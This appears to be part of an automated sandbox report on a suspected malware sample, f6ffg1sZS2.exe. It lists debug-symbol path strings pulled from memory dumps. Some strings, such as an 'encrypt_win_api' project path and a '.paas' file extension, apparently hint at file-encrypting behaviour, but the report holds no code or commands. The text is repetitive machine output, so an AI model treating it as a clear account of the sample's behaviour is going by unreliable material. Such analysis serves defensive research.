Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2292693017.000000000A4FE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361641461.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341109381.000000000A501000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2290846259.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2360832006.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A4A2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318576149.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2364801436.000000000A503000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362722434.000000000A4F9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292427043.000000000A4FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\\ source: f6ffg1sZS2.exe, 00000002.00000003.2398476112.000000000A3C2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2399666303.000000000A3D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2378809416.000000000A555000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378045989.000000000A52E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359996829.000000000A456000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2366764031.000000000A460000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361641461.000000000A456000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\y source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\= source: f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004090000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2342936913.00000000040A0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341559874.0000000004091000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\*~ source: f6ffg1sZS2.exe, 00000002.00000003.2328928064.000000000A442000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327961758.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330886383.000000000A445000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2331403353.000000000A445000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\b$G source: f6ffg1sZS2.exe, 00000002.00000003.2371145590.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2373140930.000000000A514000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362722434.000000000A512000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2372386172.000000000A4CB000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2360832006.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361098870.000000000A50F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2372640187.000000000A513000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ata\A- source: f6ffg1sZS2.exe, 00000002.00000003.2393447255.000000000A550000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2386112721.000000000A541000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\T source: f6ffg1sZS2.exe, 00000002.00000003.2398179007.00000000041BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\16.0\Floodgate\ta\H source: f6ffg1sZS2.exe, 00000002.00000003.2366877790.000000000A551000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359526279.000000000A541000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2371411391.000000000A539000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359260163.000000000A519000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2370853432.000000000A52E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359364496.000000000A531000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2371466978.000000000A555000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2373086035.0000000004071000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\A\| source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\T source: f6ffg1sZS2.exe, 00000002.00000003.2069381677.0000000003CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2292693017.000000000A4FE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361641461.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341109381.000000000A501000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2290846259.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2360832006.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A4A2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318576149.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2364801436.000000000A503000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362722434.000000000A4F9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292427043.000000000A4FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\on Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\ source: f6ffg1sZS2.exe, 00000002.00000003.2393447255.000000000A550000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378809416.000000000A555000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378045989.000000000A52E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2386112721.000000000A541000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2381261187.000000000A55D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\Q source: f6ffg1sZS2.exe, 00000002.00000003.2341746087.000000000A571000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327344999.000000000A57B000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2338761669.000000000A520000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2343861710.000000000A57D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*6 source: f6ffg1sZS2.exe, 00000002.00000003.2256651168.000000000A39D000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2257026088.000000000A3A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\d8bbwe\\| source: f6ffg1sZS2.exe, 00000002.00000003.2404782322.0000000003CE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: f6ffg1sZS2.exe, 00000002.00000003.2372045519.000000000A39F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380287643.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2381081224.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2372475576.000000000A3B0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2373364483.000000000A3B2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378278572.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\E source: f6ffg1sZS2.exe, 00000002.00000003.2069381677.0000000003CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\s source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\L source: f6ffg1sZS2.exe, 00000002.00000003.2398017850.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbC)a source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069180001.0000000003D46000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\} source: f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327344999.000000000A520000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2292693017.000000000A4FE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292812422.000000000A507000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2290846259.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293133328.000000000A515000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292427043.000000000A4FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ko source: f6ffg1sZS2.exe, 00000002.00000003.2404145455.0000000004129000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2402167994.0000000004120000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2403453023.0000000004120000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2403877259.0000000004120000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: f6ffg1sZS2.exe, 00000002.00000003.2319052984.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320828584.000000000A438000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319784597.000000000A433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\y source: f6ffg1sZS2.exe, 00000002.00000003.2069381677.0000000003CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A450000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\V source: f6ffg1sZS2.exe, 00000002.00000003.2398476112.000000000A3C2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2399666303.000000000A3D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\* source: f6ffg1sZS2.exe, 00000002.00000003.2321232188.0000000003CC1000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2328691950.0000000003CC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2069180001.0000000003D46000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\=n source: f6ffg1sZS2.exe, 00000002.00000003.2341405543.0000000004030000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2338866477.0000000004021000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327463384.0000000004030000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004090000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330521707.00000000040D3000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2342936913.00000000040A0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341559874.0000000004091000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\/f source: f6ffg1sZS2.exe, 00000002.00000003.2292693017.000000000A4FE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319451140.000000000A51C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293085778.000000000A529000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292812422.000000000A507000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2290846259.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327344999.000000000A520000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2338761669.000000000A520000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359260163.000000000A519000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359364496.000000000A531000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318576149.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292427043.000000000A4FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\ source: f6ffg1sZS2.exe, 00000002.00000003.2343806872.000000000A3F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*1 source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\;} source: f6ffg1sZS2.exe, 00000002.00000003.2320703056.0000000004039000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320318916.0000000004021000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\d8bbwe\ source: f6ffg1sZS2.exe, 00000002.00000003.2403775246.0000000003CDE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2320703056.0000000004039000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320318916.0000000004021000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\l\ source: f6ffg1sZS2.exe, 00000002.00000003.2256651168.000000000A39D000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2257026088.000000000A3A8000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293003594.000000000A3B3000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2291230870.000000000A39D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004090000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359996829.000000000A3E2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2342936913.00000000040A0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341289234.000000000A3F0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2340726216.000000000A3E4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361516833.000000000A3F8000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2340286253.000000000A3C6000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365408738.000000000A400000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341998962.000000000A3F1000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2373459368.000000000A406000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341559874.0000000004091000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2342617032.000000000A404000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2372127609.000000000A400000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2069381677.0000000003CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2399417330.000000000A52E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2390637917.000000000A52E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: f6ffg1sZS2.exe, 00000002.00000003.2292082914.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319052984.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293367895.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320190916.000000000A44A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319784597.000000000A433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\pg source: f6ffg1sZS2.exe, 00000002.00000003.2256651168.000000000A39D000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2257026088.000000000A3A8000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293003594.000000000A3B3000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2291230870.000000000A39D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2378880019.000000000A4CB000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380866739.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: f6ffg1sZS2.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorSearchCache\SettingsCache.txt.paas source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\!}s source: f6ffg1sZS2.exe, 00000002.00000003.2373086035.0000000004071000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040AA000.00000004.00000020.00020000.00000000.sdmp
